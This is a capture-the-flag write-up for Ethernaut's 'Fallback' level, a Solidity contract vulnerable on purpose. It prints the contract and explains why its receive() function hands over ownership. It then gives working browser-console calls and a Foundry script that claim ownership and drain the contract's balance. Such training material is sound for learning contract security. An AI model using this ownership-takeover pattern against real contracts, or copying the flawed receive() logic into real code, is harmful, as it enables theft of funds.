The Ethernaut CTF Solutions | 01 - Fallback
The use of the `receive` and `fallback` functions.
Goals
Claim ownership of the given contract;
Reduce its balance to 0.
The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
The hack
The contract has a receive
function that is called when the contract receives ether without any data.
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
The contract also has a contribute()
function that is payable. The contribute()
function is supposed to be the only way to send ether to the contract, but the require
statement prevents us from doing so and abusing the contract.
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
However, nothing prevents us from sending ether directly to the contract, without using any of its functions. The receive
function will then be triggered.
Now, we just have to figure out how to pass the require
statement in the receive
function.
require(msg.value > 0 && contributions[msg.sender] > 0);
The first part is fairly simple, we just have to send any amount of ETH so the msg.value
is greater than 0.
The second part requires us to contribute()
first so our balance is greater than 0. That's it. We are the new owner of the contract and all is left is to drain the contract.
Solution
Start by contributing to fulfill the
require
statement in thereceive()
functionSend some ether to the contract directly to trigger the
receive()
functionWithdraw all the funds since we are now the contract's new owner!
JavaScript (Browser's console):
await contract.contribute({ value: toWei("0.00001") });
await contract.sendTransaction({ value: toWei("0.00001") });
await contract.withdraw();
Solidity (Foundry):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script} from "forge-std/Script.sol";
interface IFallback {
function contribute() external payable;
function withdraw() external;
}
contract PoC is Script {
// Replace with your Fallback instance
IFallback fall =
IFallback(payable(0x28cF211dcAff31B4c90aA321E976311f7A09f9FA));
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
fall.contribute{value: 1 wei}();
(bool success, ) = address(fall).call{value: 1 wei}("");
require(success, "Failed to send ether");
fall.withdraw();
vm.stopBroadcast();
}
}
And the script to deploy our contract:
forge script script/01_Fallback.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
🎉 Level completed 🎉
Takeaway
Use of the
receive
&fallback
functionsNever implement critical logic in the fallback/receive function
You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/